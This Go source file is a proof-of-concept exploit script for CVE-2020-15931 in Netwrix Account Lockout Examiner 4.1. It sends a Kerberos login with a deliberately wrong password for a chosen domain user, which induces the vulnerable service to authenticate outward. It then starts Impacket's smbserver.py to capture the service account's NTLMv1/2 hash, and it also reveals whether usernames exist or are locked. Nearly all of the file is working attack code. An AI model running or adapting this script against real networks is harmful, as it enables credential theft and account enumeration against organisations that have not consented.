// Version         : 1.0
// Created date    : 08/13/2020
// Last update     : 08/13/2020
// Authors         : Daniel Min (@bigb0ss) & Robert Surace (@robSauce)
// Description     : Proof-of-Concept Exploit Script for CVE-2020-15931

package main

import (

    "flag"
    "fmt"
    "os"
    "strings"
    "log"
    "os/exec"

    "github.com/fatih/color"
    kclient "github.com/ropnop/gokrb5/client"
    kconfig "github.com/ropnop/gokrb5/config"
)


type Authenticator interface {
    Login() (string, string, error)
}


const (
    usage = ` 
    Required:
    -d            Domain name
    -dc           Domain controller
    -u            Valid username 
    
    Optional:
    -h            Print this help menu

    Example:
    ./cve-2020-15931 -d target.com -dc 10.10.0.2 -u jsmith
   `

    KERB_FMT_STRING = `[libdefaults]
	default_realm = ${REALM}
	dns_lookup_realm = false
	dns_lookup_kdc = true
	[realms]
	%s = {
    		kdc = %s
	}`
)


type FlagOptions struct {
	help             bool
	username         string
	domain           string
	password         string
	dc		 string
}

func banner() {
	banner := `
     _______      ________    ___   ___ ___   ___        __ _____ ___ ____  __ 
    / ____\ \    / /  ____|  |__ \ / _ \__ \ / _ \      /_ | ____/ _ \___ \/_ |
   | |     \ \  / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || |
   | |      \ \/ / |  __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | |
   | |____   \  /  | |____    / /_| |_| / /_| |_| |      | |___) | / /___) || |
    \_____|   \/   |______|  |____|\___/____|\___/       |_|____/ /_/|____/ |_|
  		    					 [robSauce & bigb0ss]  v1.0

   [+] Netwrix Account Lockout Examiner 4.1 Exploit Script

`
	color.White(banner)
}

func options() *FlagOptions {
	username := flag.String("u","","Username")
	domain := flag.String("d","","Domain Name")
	dc := flag.String("dc","","Domain controller")
	help := flag.Bool("h", false, "Help Menu")
	flag.Parse()
	return &FlagOptions{help: *help, username: *username, domain: *domain, dc: *dc}
}

func kerbAuth(username string, domain string, domainController string) string {
	var dom = domain
	var user = username
	var pass = "wrongPass"  // Wrong Password
	var dc = domainController

	var payload string = "[+] DC: \t" + dc + "\n"
	payload+= "[+] Domain: \t" + dom + "\n"
	payload+= "[+] Username: \t" + user + "\n"
	payload+= "[+] Password: \t" + pass + "\n"

	// Formats the config per the RFC standard
	kcfg_str := fmt.Sprintf(KERB_FMT_STRING, dom, dc)
	cfg, err := kconfig.NewConfigFromString(kcfg_str)
	cl := kclient.NewClientWithPassword(user, dom, pass, cfg, kclient.DisablePAFXFAST(true))
	err = cl.Login()

	if err != nil {
	    if strings.Contains(err.Error(), "Networking_Error: AS Exchange Error") {
		    color.Red("[-] Can't connect to DC\n")
		    os.Exit(1)
	    } else if strings.Contains(err.Error(), "KRB_AP_ERR_SKEW") {
		    color.Red("[-] Cannot connect to DC\n")
		    os.Exit(1)
            } else if strings.Contains(err.Error(), "KDC_ERR_C_PRINCIPAL_UNKNOWN") {
		    color.Green(payload)
		    color.Yellow("[-] User is NOT valid!\n")
		    os.Exit(1)
	    } else if strings.Contains(err.Error(), "KDC_ERR_CLIENT_REVOKED") {
		    color.Green(payload)
		    color.Yellow("[-] User is locked!\n")
		    os.Exit(1)
	    } else if strings.Contains(err.Error(), "KDC_ERR_PREAUTH_FAILED") {
		    payload+= "[+] Event ID 4771 (Kerberos Pre-Authentication Failed) Triggered!\n"
		    color.Green(payload)
		    color.Cyan("[+] If vulnerable, you will get a NTLMv1/2 of the Netwrix service account.\n")
	    } else {
		    fmt.Println(payload)
	    }
	}
	return payload
}


func smb() {
	smbServer := exec.Command("smbserver.py","test","/tmp","-smb2support")
	smbServer.Stdout = os.Stdout
	smbServer.Stderr = os.Stderr
	log.Println(smbServer.Run())
}

func main (){
	banner()
	opt := options()
	if opt.help{
	    fmt.Println(usage)
            os.Exit(0)
	}

	if opt.username == "" || opt.domain == "" || opt.dc == "" {
            fmt.Println(usage)
            os.Exit(0)
	}

	kerbAuth(opt.username, opt.domain, opt.dc)

	// SMB Server (Impacket smbserver.py)
	fmt.Println("[+] SMB Server Started...")
	smb()
}